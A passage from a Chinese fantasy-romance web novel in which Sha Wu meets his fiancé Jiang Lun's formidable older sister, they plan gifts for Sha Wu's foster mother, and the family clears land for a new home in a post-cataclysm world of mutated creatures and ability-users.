沙伍敏锐地察觉出其中的捉弄意味，再看看这位竟然和小风一样凭借自身站在空中，似乎不是风系异能，偏偏又不带一丝烟火气，就像她本来就该在天地之间遨游。 他歪了一下头，大胆假设，小心求证：“院长？” 实力那么强，又是在学院里，给他的感觉还很熟悉，只能是院长了吧？ 夜师傅的人形他一直没见过，虽说鸟的时候说的是男声，但物种都能改变了，变个声音不是轻而易举的事情嘛。 谁规定夜师傅就不能是女的？ 不过身边这位给人的感觉比夜师傅更稳重一些？ 也难说。 说不定是装的。 脚尖刚接触到地面的女人一个趔趄，温和母性的笑容没绷住，屈指一个暴栗敲在沙伍脑门上：“我才不是那只傻鸟！” “姐。”姜纶踩着飞板直接冲过来，身后是宿舍里的一群人。 “大小姐。” 姜纶把绿蛇从沙伍身上扒拉开，介绍：“姐，这是我未婚夫沙伍。沙伍，这是我姐姚昭华，叫姐。” 真的是姐？不是院长？ 沙伍眨巴两下眼睛，乖巧：“姐。” 他就说这个姐姐看着好熟悉，原来不是像院长，是像姜纶。 姐姐好高。 他现在都181了，难道姐姐穿高跟鞋了？ 咦？姐姐竟然光脚。 姐姐的头发果然好长，都垂在地上了。 姚昭华重新端起长姐的微笑：“哎，真乖。”长相真的是太乖巧了，瞧着就可爱，跟她这个讨债鬼弟弟完全不一样。 绿色的大蛇没有从沙伍身上下来，一圈圈缠在他胳膊上，越缠越细，慢慢变成一个蛇形臂钏。 苍翠欲滴的颜色，完全是一块上好的碧玉，根本看不出一点活物的影子。 沙伍摸了摸，偏头嗅了嗅，就没管了。 姚昭华有些意外：“琅玕很喜欢你呢。” 姜纶已经试图习以为常：“睡觉不能戴着。” 话落，刚刚还犹如死物的琅玕立刻仰起脑袋，弯曲着脖颈，吐着信子，摆出攻击的姿势。 红眼珠子看了看姜纶，大概自己觉得不对，重新缩了回去，换了一边手臂缠着。 姚昭华看着前面在忙碌的装修队：“小纶把房子拆了？” 薛春自首：“不是小少爷，是我的月季干的。” 见姚昭华感兴趣，他去花房把小粉猫盆拿了过来。 姚昭华已经坐在了客厅，看到花盆里团着的一小团小粉猫，很惊讶：“这么可爱的八级？” 她在刚才就确定了有个新增的八级，但怎么都没想到八级的外形会这么可爱。 小粉猫看到姚昭华，立刻翻身，朝她露出肚皮，表示臣服。 没人能拒绝小猫肚皮！ 姚昭华摸了两把，又摸了两把。 薛春把之前沙伍和小粉一起看的动画片翻出来：“看这个动画的时候变的。”变之前还是威风的龙和舞狮。 姚昭华笑得不行，把小粉猫撸得都要掉花瓣了。 沙伍刚把带回来的螃蟹放厨房，出来就看到他们在看动画，有些脸红：“怎么在看这个啊？”总觉得是自己带坏了人家的小朋友。 刚刚还躺平任揉搓的小粉猫察觉到了一股让它讨厌的气息，瞬间跳起来炸毛：“喵！” 小粉猫朝着沙伍的胳膊就扑了过去的，在空中直接变成了一条粉色鬃毛墨绿色鳞片的巨龙。 翠玉小蛇也在瞬间变成巨蟒，比在空中捆沙伍时候的更加粗壮，盘起的身躯差点高过沙伍的头顶。 客厅的吊灯眼看就要被扫下来，姚昭华坐在沙发上，比划了一个轻拍的动作：“好了，冷静，不可以在家里打架。” 巨龙巨蟒瞬间被拍成了小猫小蛇。 沙伍快步过去，把扁扁的小猫小蛇提溜起来，抖一抖，抖成胖胖的，把小猫种回花盆里，把小蛇递给姚昭华。 姚昭华把小蛇重新递给沙伍：“你先带着吧。我可算是知道房子怎么拆的了。” 梁管家端来茶水：“正在找合适的地方建新房子。这里毕竟还是在校园，家里这情况再待着怕是不合适。” 姚昭华招呼沙伍：“别跑来跑去的，过来坐。” 沙伍有些意外，坐到她身边：“姐？” 姐姐大人，有何吩咐！ 姚昭华朝他伸手：“把手给我，我给你检查一下。” 沙伍很利索地把自己的手放在姚昭华手上，顿时感觉一股庞大的温暖的力量包裹住自己，有一种冬天睡在晒得暖烘烘的被子里的感觉。 他的眼皮耷拉下来，脑袋一点，睡了过去。 姜纶接住他软倒的身体，神情紧张地看着姚昭华：“姐？” 姚昭华的脸上没有笑容：“这小家伙的忍耐力跟你有得一拼。一个四处漏风的破麻袋，也不知道怎么还能笑得这么开心。” 第43章 准备的礼物 姜纶低头看着怀里的沙伍：“还没补好吗？” 姚昭华纠正自己的说法：“麻袋是补好了，但麻袋也是会漏的，就是比以前漏得少而已。单纯用食补的方法来调理，可能没法从根源上解决问题。小家伙的异能有点特殊，应该是会自动净化周围的污染。”又好像不是单纯的净化，“他这样对周围倒是很有好处，对他自己可不太好。” 也就是异能值等级高，加上有姜祁这个营养师天天定制食谱，不然她都觉得沙伍就算觉醒了异能，也会很快把自己漏完。 家庭医生把沙伍的病历发给姚昭华：“本来用异能治疗效果最好，但沙伍的异能特殊，外部的异能很快就会被他的异能吞噬掉。鸭老师试过，能够起到的效果微乎其微，想要彻底改善体质，得看他自己。” “鸭老师也不行？”她快速翻阅每天几乎不间断的体检记录，眉头越皱越紧，“这孩子……”到底是怎么活下来的？ 姜纶抱着沙伍起来：“姐，小伍给你准备了礼物。” 姚昭华会意，跟着他上楼，直接到了四楼沙伍的小书房。 感觉到轻微的异能波动，姜纶知道他姐已经设置好了结界，先把沙伍放在一旁的贵妃椅上，再从柜子里拿了一个盒子递给她：“喏。” 姚昭华诧异：“还真有礼物啊？”她还以为是弟弟想要跟她说悄悄话的托词呢。 打开盒子一看，里面是一根点缀着七颗晶核的手链。 每一颗晶核颜色不同，但大小都一样，颜色都很正。 “哎呀，这很好看。”姚昭华马上就戴上了。 姜纶的表情明显不是很高兴：“上面的晶核是他自己抓的变异生物。”也不知道一条天天混海底的鲨鱼，上哪儿找到的那么多不同属性的晶核，啧。 姚昭华很高兴：“那确实比你能干。”顿了顿，她的表情严肃起来，“好了，说吧。” 姜纶没卖关子：“沙伍喝了我的血，才觉醒的异能。” 姚昭华整个人都呆愣了一下：“你跟我详细说一下。” “暑假的时候，我的净化药剂被人动了手脚，没能控制住异能变成了觉醒体……”他把和沙伍相遇的情况详细说了一遍。 姚昭华听完，走到沙伍身边，又用异能检查了一遍：“我说怎么体检那么频繁，原来你是担心你的血液对他产生影响？” 姜纶勉强抽了抽嘴角：“我的血……还是喝了药剂之后的血……我自己都不知道会有什么后果。” “放心吧。你的血应该只是给小伍提供了能量，他能够最终觉醒都亏了你那一丝血。至于你血液中的那点药剂，应该对他没有一点用，估计一样被当做能量吃掉了。他的异能值天赋应该比现在表现出来的要高得多。” 超越了仪器检测上限的天赋就是S级。 这是目前科技的极限，不是人类的极限。 S级和S级之间的差距，可能比A级和F级的差距还要巨大。 姚昭华抬手拍了一下姜纶的后脑勺：“我说的还不放心是吧？过年带回家给爸妈看看。哦，对了。这件事情你跟爸妈说过了没？” “没。我想当面说。” “嗯，这次我回去先看看能不能见到他们。” 姜纶闪开她挥过来的又一巴掌，怒目而视：“干嘛！” 姚昭华很随意：“哦，小时候打习惯了，现在看到你就想打。唉，我这点不好。现在你都是有男朋友的人了，我得学着给你留点面子。” 姜纶在内心骂的很脏，但是不敢出声。 姚昭华又看看沙伍，只觉得怎么看怎么乖巧可爱，再看一眼姜纶……还是那个讨债鬼。果然孩子还是别人家的可爱。 “你对人小孩儿是认真的吧？没存着利用人的坏心思吧？” “我犯得着用自己的婚姻来当筹码吗？！”他要不是真心喜欢沙伍，干什么要和他结婚？ 高阶异能战士和他们的专属净化者之间的正常关系，他又不是没见过。 双方关系亲近一点的是互相信赖的战友，关系普通的就是值得信赖的雇佣关系。 怎么绑定专属净化者，有一套成熟的路径，他犯得着每天被小鲨鱼啃啃咬咬嘛。 “那就好。”姚昭华放松下来，撤掉结界，“我们家可没有骗人感情的混蛋。” 姜纶不屑：“轮不到你说我。你自己都还没男朋友。” 姚昭华抬手就给了他后脑勺一巴掌：“你以为到我这个级别，男朋友好找呢？要等级相当，天赋相合，连个不是人的都找不到。” 这破弟弟的运气真的是太好了，出来读个书就能遇到天命。 不行，越看他越不顺眼。 姚昭华把姜纶拖出去打了一顿，又把人拖了回来。 沙伍从楼上下来，直接挂在楼梯扶手上，看到这一幕不敢下楼。 这场景有一种莫名的既视感。 好像……他小时候也被沙肆这么教训过。 再上面三个哥哥姐姐的年纪跟他相差得大，他更不熟悉。 只有沙肆在他小时候会带一带他，也不是带他玩，不是揍他，就是帮他揍人。 姜纶的脸上没有任何异常，对上沙伍的视线，很想装作若无其事，无奈全身上下都痛得厉害：“小伍……” 沙伍继续挂在扶手上，不敢当着姐姐的面造次。 他本来就是家里食物链的底端，学会不要为了小少爷乱出头。 根本出不了头，只会送人头。 反正小少爷的皮肤比他的牙还硬，打两下就打两下了，姐姐又不是外人。 姚昭华传授经验：“打架要记得出去打，这样房子能维持久一点，记住了吗？” 一众人和变异生物：“记住了。” “嘶~” “喵~” 说完，大小姐既然来了，准备在家里办个小宴会，见一见青龙城的高层：“明天晚上，就在这里办宴会吧。小梁，你带人准备一下。” “是，大小姐。”虽然小少爷叫他梁伯，但大小姐的年纪叫他小梁一点问题没有。 家里人开始有条不紊地忙碌起来。 沙伍悄咪咪趴在扶手上滑下楼，走到在沙发上躺尸的姜纶身边，轻轻扒他衣服。 姜纶不动，就这么看着他：“人来人往的，要干嘛？” “看看你被打成什么样了。”沙伍解释自己相当纯洁的动机，绝对没有趁机占便宜的意思。 姜纶继续盯着他，一脸你看我信不信。 沙伍举手投降：“行叭。我抱你回房躺着？” “不用抱。你扶着我就行。” 姚昭华站在一旁，问梁管家：“他们私底下一直这样？” 梁管家赶紧否认：“他们私底下怎么样，我肯定不知道。”顶多就是看到小少爷一脖子一胳膊的印子什么的。 原先给净化者设置的房间的紧急通道，现在已经变成了小少爷的夜袭专用路线。 好好一个密道，现在连门都不关了。 姚昭华眯着眼睛搓着下巴：“果然小纶就是个坏东西。”骗人感情倒是谈不上，诱之以色是铁板钉钉。 爸妈这么正直的人，怎么生出这么个玩意儿？ 果然是发生了奇怪的变异。 上了楼的沙伍把姜纶带到了大书房。 姜纶站在门口不动。 沙伍拽不动：“怎么了？” “不是要脱衣服？”不去房间，去书房？ 沙伍一脸无辜：“你不是不让脱？” 姜纶做作：“那你一定要脱，也不是不可以。” “蒜鸟~姐姐在呢。”收敛一点。 姜纶不开心：“……我问一下她什么时候走。” 沙伍赶紧阻止，把姜纶推进大书房：“你跟我讲讲宴会。我需要参加吗？” “喜欢的话就多待一会儿，不喜欢的话露个脸就行。”姜纶不以为意，“先让人知道有你这个人。今后有必要的再私下交流。” 空荡荡的大书房里横着一条金龙布偶。 沙伍紧张地骑在金龙脖子上，焦虑地一下一下揪龙角：“我连我们孤儿院的院长都只是在节日演出的时候见过，一下子要见青龙城的高层……”跨度太大，有些难以想象，“我要注意些什么？” “注意不要咬一口尝尝？”姜纶顺势坐在他旁边的地上，把金龙布偶当靠背，立马说出沙伍最需要注意的点，“很多高层都是没有异能的普通人，经不起你的一口。你想咬就咬我。” 沙伍顺势接过他递过来的胳膊，顺嘴咬了两口：“我没这么饥不择食。”果然还是小少爷对味。 姜纶扣住沙伍的手腕，一个用力想要把人拽进怀里：“现在青龙城的高层，有些是我妈当年部下的后代，有一些香火情。当然，已经隔了几代人，现在主要还是靠着利益维系。我们需要他们来管理青龙城，治理清理出来的地盘。他们需要我们提供力量庇护，以及法理依据。” 沙伍被他扯得往前倾了倾，马上开始反过来扯姜纶：“完全听不懂。” 姜纶可不敢真的拿沙伍的胳膊当拔河的绳子，只能顺着沙伍的力气被扯到金龙布偶上坐着：“一直到目前为止，人类能够掌控的土地和海洋面积都远少于大灾变前。自然界中依旧有大量危险的变异生物，以及完全不知道如何根除的污染。异能战士是非常重要且不可取代的。没有任何异能武器能够取代高级异能战士。所以，我妈就是青龙城之所以是青龙城的法。现在的那些人能够有资格管理青龙城，是来自于我妈的授权。” 沙伍思考了一会儿：“其实就是拳头大的是老大。” “对。”姜纶很喜欢他想问题的时候微微歪着头的样子，“不过这都是暂时的。世界上毕竟普通人多，将来还是要回归大灾变前正常的社会秩序。” 沙伍好奇：“是不是现在就有人想着恢复秩序？” “嗯。现在社会稳定，各种异能武器的开发速度不慢，新式武器的威力越来越大，有些人觉得时机已经到了。他们对九级根本就没有概念，也不知道自然界中存在哪些可怕的东西。”姜纶提起来的时候，语气中透露着不屑。 沙伍感觉这个事情很好解决：“那让他们去见识见识那些可怕的东西不就行了？别的地方去不了，扬子海不是就在那儿？反正能搞点事情的，也就是几个大佬吧？” 姜纶明显愣了一下：“啊，是个思路。” 沙伍赶紧摆手：“我乱说的。”比起那些复杂的事情，他觉得还不如去练练飞板，“飞板的速度真的好快，感觉比城际列车还快。等我熟练了，直接踩飞板回去见沙妈妈。” 刚说话，他就自己否定，“不行。路上太危险了。我这么飞过去，要被鸟叨死。” 姜纶提供另外一个思路：“直接飞机过去。飞板的局限性太大，基本就只能野外用。” 城市里，就只有一些专门玩飞板的场地，或者是类似青龙学院这样的地方能用。 “那我还是城际列车过去吧。”一只沙伍失去梦想，趴在金龙布偶上。 姜纶听他的话，跟着趴在金龙布偶上，跟他头碰头：“最近要回去？” “嗯。换季了，看看沙妈妈那里我能不能给买点什么东西。”他现在虽然花钱很多，但是赚钱也快。 “带我一起去？” “你有空吗？” 上岳母家还能没空的？ “有空。” “那我订下周六上午的票。”沙伍想着上次乘坐的专属车厢什么的，感觉没什么必要。 那么短的路程，也不会比别人快一点到达。 “好。沙妈妈喜欢什么？”他得准备礼物。 沙伍想也不想：“沙妈妈喜欢我。” 姜纶一听就笑了：“我们家小鲨鱼人见人爱。我姐那么凶残的一个人，看到你也很喜欢。” 沙伍一听，顿时觉得不好意思，又很高兴：“真哒？” 姜纶不高兴了：“被我姐喜欢就这么高兴？”声音都夹了起来。 真是的，又不是跟姜小龙说话。 等他也能把自己的体型控制小一点，让小鲨鱼也夹着嗓子跟他撒娇。 “当然啦~能够被你的家人接受，我肯定高兴的嘛。”沙伍没听出他的酸味，打开购物软件在上面琢磨买什么东西。 习惯了异能者的各种用品的价格，再看普通人用品的价格，简直像是不要钱。 单纯食物，价格就相差不止百倍。 姜纶觉得有道理，安静看他翻看的东西，自己也打开软件挑选合适的礼物。 沙伍突然问：“我现在吃的那些变异植物和动物之类的，净化完成后，能给普通人吃吗？” “千万不要。别说是你现在吃的东西，变异生物一旦上了等级，哪怕是一级变异生物，对没有异能的普通人来说，里面富含的就不是能量，很可能是会引发人体污染的污染源。异能值低，代表无法消化吸收异能。”姜纶站起来，去书架上找了几本书拿过来。 沙伍拿过来一翻，发现是大灾变早期，有人想通过吃一些等级高一些变异生物，从而获得异能。 他们真的尝试了很多种办法，但最后作为试验品的普通人，下场通常都很惨烈。 这些试验的最终结果，大概就是尝试出了食品净化器。 沙伍看得头皮发麻。 “其实现在还时不时有一些人会做类似的尝试。虽然各大城都明令禁止，但总会有一些‘新的技术’出现，让他们觉得自己可以，是天选之子。”过去，姜纶就是靠着这些不知道能不能算作知识的东西，来分散掉注意力，让体内无时无刻都存在的挣扎和撕裂减轻一些。 姜纶不想提这些糟糕的事情，把趁着沙伍看书时候选择的一溜购物清单给他看：“沙妈妈会喜欢吗？” “啊，会喜欢的。”沙伍有些意外姜纶选的东西，“我还以为你会买一堆很贵的东西。”锦衣华服珠宝首饰之类。 姜纶把另外一份购物清单给他看：“这是第一版。”确实是锦衣华服珠宝首饰，“后来我想想沙妈妈的工作可能用不上，改成了更加实用的。” 在遇到沙伍的第一个晚上，梁管家就把沙伍的资料调查清楚，其中当然包括了沙妈妈这个不可或缺的人物。 他再做了一番详细的了解，知道沙妈妈的收入水平，工作性质和时间等等，大概就能推测出她用得上的东西。 买一些她能用得上，价格偏高一些但不会过高的东西，能够表现自己的心意，也不会一点用不上。 送出去的礼物最好时时刻刻都能被沙妈妈用上，这样沙妈妈每次用的时候都会想到他的好。 “嗯，我另外约了一个医生，准备给沙妈妈重新做一个生物义肢，不知道沙妈妈能不能够接受？” 沙伍还是第一次听说：“什么是生物义肢？” “具体我也不是很清楚，大概是通过异能生物结合人体自身的组织，培养一个新的肢体，能够在外观上做到和原生的肢体一致，功能上可以根据需求选择一些异能之类的。不过每个人的身体条件不同，需求和偏好不同，最后结果差异化很大。”姜纶说着，给沙伍展示了一些照片，“喏，这些部分就是做的义肢。肯定和原生的会有一些区别，但是功能性方面会比机械的要好。” 沙伍认真看了看，恨不得凑近光屏嗅一嗅：“这个多少钱！” 他的沙妈妈需要这个！ 姜纶说道：“得看具体个体，价格差距挺大的。不过沙妈妈我记得是一级异能战士，F级力量系异能？” “是的。” “F级的这种体质类的异能算是价格最低的一档，应该大几百万就能搞定。”姜纶又翻了翻光屏，找出一张价格清单给沙伍看，“瑞云实验室就能做。到时候让沙妈妈去那边，需要做一些检测和细胞培育之类的准备。” 沙伍扫了一眼清单，一时间都分不清上面有多少个0。 “我说这个东西怎么听都没听说过，普通人要赚到这么多钱，得多难啊。”他从前都没想过一辈子能赚那么多钱。 姜纶解释：“价格只是一方面的因素，主要是这个东西严重依赖变异原材料，自身没有异能的话，没法用。当初开发这个技术，主要是针对在对抗变异生物中，肢体残缺的战士。” 沙伍想了想，问：“那这种情况，不是应该有政府补助吗？毕竟异能战士是为了保护城市和百姓做出的牺牲。” 姜纶抿了抿唇：“这就涉及到异能战士到底是属于异能战士协会，还是相关政府的问题了。比起大灾变前，我们如今的国家结构非常松散。每个城的管理结构不太一样。不过政府是指挥不动异能战士军队的，他们可能不觉得有义务帮助这些底层的异能战士。 他们更倾向于给高级异能战士好处。 他们有在尝试组建自己的队伍，但顶多只能算是小组或者部门。 有一部分异能者觉得，异能者就是天然的统治阶级，普通人就是为异能者服务的； 一部分普通人觉得，异能者是少数，应该服从大多数人的利益； 还有一些人觉得，不管是有异能的还是没异能的都是人，都在为了人类的共同命运奋斗，不该在人群内搞出三六九等。 当然，还有一些更加极端的观点。” 沙伍听得头晕目眩，挥挥手：“我不行，我干不了那个。我的目标是星辰大海。”他突然想到，“哎？你说我们直接把新房建在葫芦口那里怎么样？我们可以踩飞板上学。以飞板的速度，也没多远。” 虽然一路上有很多鸟，但是飞板的速度足以甩开它们。 实在不行，他可以跳海。 哦，对，跳海的前提是他先掌握怎么降落。 自由落体的话，还是很危险的。 姜纶认真考虑了一下，对葫芦口附近的陆地地形实在没什么印象：“我去问问梁伯。”他站起来往门口走了两步，停下来说道，“上学可以坐飞车。你一个人踩飞板还是太危险了。” 沙伍不解：“有你陪着，不会危险啊。” 姜纶理所当然：“我逃课。” 第44章 姐姐的尾巴尖 “这一片除了温度低一点，倒是还不错。” 宿舍一群人飘在空中，对葫芦口的地形转了一圈后，仔细审视。 沙伍骑在粉龙身上，对着下面完全看不清地形，只能看到一个隐约的轮廓。 姚昭华看了看：“不行，太远了。上课不方便。这地方搁大灾变前都属于北海道了。” “北海道？”沙伍对大灾变前的历史不太清楚，大学以前学习的地理知识都是现在的。 姚昭华轻描淡写道：“青龙学院的海湾，在大灾变前叫渤海；我们所说的内海，就是渤海以外，由新生的朝鲜半岛和曾经的日本列岛新生陆地构成的。这两个地方以前也是很发达的，有两亿人口。后来地质变化太剧烈了，加上大量的海洋变异生物和鸟群，直接就没了。” 沙伍瞪大眼睛，感到不可思议。 两亿人口啊，说没就没了。 姚昭华笑笑：“也不是说他们的人全都死光了，还是有幸存者的。只不过作为国家而言，没有了。全球情况都差不多，大灾变开始后那几十年，乱得很。” 沙伍听她的语气，问：“姐，你说的怎么像是亲身经历过？” “我就是经历过啊。小纶没跟你说吗？我出生在大灾变前哦。”姚昭华对着沙伍眨眨眼。 沙伍歪头，又看向姜纶，不是很理解：“你真的是20岁，不是200岁？” “哈哈哈！”姚昭华笑得不行，“放心，小纶真的是20。” 姜纶恨不得把人摁倒了狠狠教训，咬牙切齿：“你等着。” “嗷。”沙伍无所畏惧。 纸老虎一个，谁怕谁啊。 姚昭华轻轻招了一下手，沙伍只觉得眼前黑了大概三秒钟，再亮起的时候已经能够看到城市的灯火。 “这儿吧。之前跟夜院长说设立新监测点的事情，这里还是比较适合的。你们既然想建新房子，还是在这里。气候相对温暖一些，距离学校也近，还省了开拓新监测点的人手。” 沙伍看了看：“那边是墨城？” “对。”姜纶估算了一下距离，“这样飞车上下学大概20分钟？” 粉龙叫了一声：“喵~” 沙伍领会精神：“小粉说它送我上下学。” 小粉爸爸否决：“不行。小粉在家好好养养，接下来要入冬了，在家里吹暖气不好？去外面乱跑什么？” 小粉在心爱的暖气和心爱的小鲨鱼之间艰难选择。 小粉爸爸说：“反正小伍放学就回来了。” 小粉觉得有道理，选择了暖气。 沙伍有些小失望：“唉，带着猫猫上学多帅啊。” 姜纶倒是觉得很好：“让你上学，又不是让你去招蜂引蝶。上学别带和学习无关的东西。”说话间，仿佛已经是青龙学院的院长。 姚昭华往远处比划了一个点：“小纶、小伍，你们站到那边去。” 话落，空中绽放出一朵金色的莲台。 “好。”姜纶顾不上说别的，招呼小粉一起飞到莲花上。 沙伍刚试探性走到莲台上，就感觉心头一震，像是整个灵魂被震出躯壳，直接跪趴下去。 姜纶眼疾手快，把人捞在怀里。 一条长长的金色的尾巴往莲花上轻轻一点，又把莲台推远。 沙伍茫然地顺着尾巴看过去，发现是姚昭华，不由得呼出一口气。 哦，姐姐啊，那没事了。 等等！ 姐姐在那~~~儿，为什么尾巴尖会在这儿？ 尾巴尖？ 金灿灿的尾巴尖？ 一个金色的水滴形虚影突然笼罩大地，随即花瓣一重一重从上剥落，绽放成一朵金色的莲花。 姜纶评价：“女孩子就是喜欢搞这些花里胡哨的。” 沙伍压根没看明白：“姐姐这是在干嘛？” 姜纶放开飞板，盘腿坐在莲台上：“建立一个隔绝区域。你平时用来装东西的泡泡和保护自己的膜，是异能防御的初级版本。进阶版本就是结界，能够有效阻挡探查，防御能力进一步提升。这种就是异能防御的终极版本，划定一个区域，阻挡外界的一切。啊，不过这个一切只是理论上的，实际上边界还是需要人来不断进行维护。你认识的夏华学长，暑期工就是在海湾和内海之间巩固净化。” 沙伍大概理解了，但以他的认知，还是很难想象到底是怎么做到的。 “一般要清理出一个人类聚居点，过程肯定没这么简单粗暴。得先建立一个监测点，然后高阶异能者开路，清理掉危险的变异生物；接着是净化者不断净化环境。所有的聚居点都是最中心的地方污染最少，然后以同心圆的方式往外面推，依次是轻度污染区和污染区。姐姐现在的动作，是告诉周围的变异生物，这个地盘是我的，别人不许染指，大概是这个意思。”姜纶说到最后也不是很确定。 沙伍就跟听故事一样。 姜纶看见宿舍里的一群八级纷纷投入莲花中，打开沙伍的手环，找出课件：“别管他们了。你作业做完了吗？” “做完了。” “复习了吗？” “复习了。” “预习呢？” “预习完了。” 姜纶明明感觉沙伍玩了一个周末，都没看到他什么时候学习的，只能说道：“那你冥想吧。他们还要一会儿呢。” “在这儿冥想？”他都是在床上冥想的，冥想困了就直接躺平。 “反正也看不出什么来。我也冥想。” 有男朋友陪着一起冥想，对沙伍来说还是有一点吸引力的，挨过去在他脸上亲了一下：“嘿嘿。” 沙伍原本以为在野外陌生环境下，自己很难进入到冥想状态，没想到几乎一闭上眼睛，就看到了体内的星河。 点点星芒璀璨闪耀，每一颗都散发着五颜六色的光芒，漂亮到不可思议。 他找到一颗最大的星星，凑近了仔细观察，发现这颗星星并不是孤独地悬浮在宇宙中。 像是一个小型的星系，它的周围牵动着好几颗小一些的星星。 它们以一种奇特的规律相互牵引、运转。 这样的大星星有九个。 九个星系又构成了一个完整的更大的星系。 九大星系之间的联系就没有小星系之间那么紧密了。 他能察觉星系之间的联系松散，甚至散乱。 一号星系传递出去的能量，只有很微小的一部分才能传递到二号星系，绝大多数的能量都没了。 没了？ 沙伍觉得不对劲。 能量怎么会没了？ 就算没有传递给二号星系，应该也会返还到一号星系啊。 沙伍的注意力集中在一号星系上，发现星系运转一周就会产生一些能量。 产生的能量如果是10点，一号星系自己会吸收掉8；传递出去的能量只有0.5。 而这0.5里面，只有不到0.1会被二号星系吸收掉。 沙伍感觉自己要是真的用眼睛看的话，早就变成斗鸡眼了，无奈还是找不到消失的1.5和消失的0.4。 他把注意力放到其它几个星系上，发现消失的能量更多。 到九号星系的时候，10点能量，没了8点。 有人偷他钱！ 不是，是偷他能量。 没有区别！ 他的能量都是吃进去的钱，偷他能量就是偷他钱！ 伍哥暴怒！ 然后他感觉到一缕凉风吹过，蓦然从冥想状态中清醒，慢慢张开的眼睛里映入一轮旭日从海面跃起的画面。 “早上了？”他感觉才冥想了一小会儿。 姜纶伸手放在他眼睛前的20厘米左右的一个位置：“不是，是其他人清理完了，祁叔在净化。” 姜纶白皙的双手在光线下，边缘呈现一种半透明的红色。 整个天地像是被朝阳染红。 光线明亮但不刺目，吹过来的风都带着暖融。 哪怕沙伍并没有直视整个净化的过程，也能在光线逐渐消失后，感觉到整片天地之间的空气都清新了。 一直待在污染区域的时候感觉不太明显，但净化过后就会发现，空气中那股若有似无的臭味没了。 夜空中的繁星重新出现。 沙伍下意识深呼吸一口气：“祁叔叔原来是净化者？我一直以为祁叔叔是火系异能。” 姜纶放下手：“不是。祁叔是净化和木系异能，主要是净化方向，木系异能没薛春强。” 沙伍伸手比划了一下，突然觉得不对：“那么大一块地方，祁叔一招就净化完了？” 他军训的时候，班级里的那些地，和小丑鱼、虾同学三个人一起净化，跟三头老黄牛似的，来来回回“犁”了好几遍，花了一个星期！ 他当然知道自己的菜鸟水平和八级存在巨大的差距，但是没想到差距能够大到这种程度。 “哟，我们的净化小鲨鱼看起来不是很服气？” “那将来家里的净化维护就交给小伍来？” “别闹了。小伍现在的主要任务是学习。” 宿舍一众人不知道什么时候回来的，这会儿都站在莲台上。 小粉龙缠着薛春的腿，一圈圈绕到他怀里，变成一只小粉猫，歪头撒娇：“喵~” 小粉猫没收起龙角，一歪头把它爸差点怼出内伤。 “咳咳咳！”薛春把小粉猫的龙角撸平成耳朵，“小粉啊，对自己的老父亲下手轻一点。” 边上一群人纷纷笑场。 姜祁落在最后：“笑什么呢？没别的事情了吧？”看了看手环上的时间，“回去宵夜了。” 姚昭华站在原地没动：“你们先走，我再处理点后续问题。” “好的。”姜纶招呼众人跟来的时候一样离开。 保护他们的金色莲台消散在空中。 “姐姐还有什么事情？不能跟我们一起走？” 姜纶用手指在外围虚画了一个范围：“刚才梁伯他们只是清理了隔绝区域里的高级变异生物，还有外围的。姐姐得把离得近的那些高级变异生物的清扫一遍，不然以后我们住在那里会经常有高级变异生物过来骚扰，很烦。” “哦。”沙伍倒骑在粉龙身上，看着伫立在空中人身蛇尾的女子，眼睛里全是小星星，“姐姐这个觉醒形态也太帅了吧！跟一班的房湉湉觉醒的鱼尾巴一样，都太像神话生物了。” 姜纶微微扬了扬下巴：“不能相提并论。房湉湉是像，大姐就是。” 沙伍琢磨了一下他话里的意思，咽了咽口水：“不是。那什么是真实存在的吗？” 梁管家一如既往语气温和：“潘老师的鲛人都能存在，女娲氏和伏羲氏为什么就不能存在？” “那能一样嘛！鲛人算什么，能和女娲伏羲比？” 传说故事里，鲛人就是个被欺负惨了的角色，不是被弄哭掉珍珠卖钱，就是织布卖钱，最惨的是杀了放进墓室里点长明灯。 女娲伏羲，那可是传说中的人类祖先！ 沙伍显然没想着要什么答案，兀自震惊：“卧槽，人怎么能……” 姜纶抬手在他面前晃了晃：“看我。我都能变成龙了。我姐顶多就是返祖。按照变异角度来分析，我们所有人都是女娲氏和伏羲氏的后代，身上都有相关的基因，都有机会变成原始氏族的样子。” 沙伍呆愣愣地看着姜纶：“啊，对。你更不科学。” 平平无奇的小鲨鱼失去梦想，往后一倒，直接躺平在粉龙身上。 粉色的鬃毛柔软芳香，像是一条厚实的毛绒绒的软垫。 姜纶看了看时间，发现已经到了不熬夜小鲨鱼平时的睡眠时间：“睡吧，明天早上还要上课。” 沙伍的生物钟被调理得相当规律，一听就自动关机。 沙伍醒过来的时候，不出意外是在姜纶床上，看了眼时间，“唰”一下跳了起来：“睡过头了！” 原本抱着他的姜纶被带得坐起来，整个人都透着茫然：“怎么了？” “我上学要迟到了！”沙伍一溜烟就通过一点都不密的密道往楼上跑。 姜纶只注意到他光着脚：“穿拖鞋啊！” 沙伍的声音远远传过来：“找不到！” 姜纶干脆下床找拖鞋，绕床一周找到一个，另外一个在床底下，让家政机器人帮忙拿出来的：“怎么在床底？” 算了，他懒得纠结，拿着拖鞋送上楼。 沙伍已经速度极快地洗漱完换好了衣服，脚上已经穿上了另外的拖鞋：“谢了。” 姜纶看着他去书房，拿上轻飘飘的书包，然后冲过来抱了一下自己，又在自己嘴上啃了一口，速度快到他根本反应不过来。 沙伍已经冲出窗台。 姜纶看得心头一跳：“月季都搬走了！” 窗外的沙伍坐在小飞车上：“嗯？不跟你说了，我走了！” 沙伍打开防风罩，拿起放在小飞车上的早餐，踩着点进教室的时候，正好吃完手上最后一口煎饼果子。 今天上午是大课，不在十号楼上。 阶梯教室后排已经坐满了人，只余下最前面的两排还空落落的。 沙伍和几个差不多时间进门的同学，就只能依次坐在最前面。 跟在他们后面的老师进门就说道：“同学们先在手环上点个名。好了，我们开始今天的课。上次讲到大灾变后第十年，全球出现第一个九级变异者，大灾变后人类的第一个稳定聚居点正式成立，就是现在的后土城……” 沙伍上着历史课，学习男朋友家的亲戚关系，感觉十分微妙。 事已至此，喝一口豆浆吧。 上午历史课结束，小风已经提着保温袋等在了教室门口。 沙伍赶紧关掉手环，快步走了过去，接过她手上的保温袋：“小风姐？” 小风带着他让开到一边，免得挡住出门的其他同学：“晚上要宴会，家里现在一团乱，我给你把午餐送过来。没别的事情，我先走了。” “好的。小风姐拜拜。”沙伍目送小风直接飞走，小声感慨，“风系异能真方便啊。” 海豚班长走过来招呼：“沙伍，今天不回去吃饭了？跟我们一起去食堂？” “好啊。”沙伍在开学两个月后，第一次进入学校食堂，在一溜让人眼花缭乱的窗口转了一圈，被海豚班长拖着往楼上走。 “一楼二楼是普通食物。” “我们吃的在三楼？” 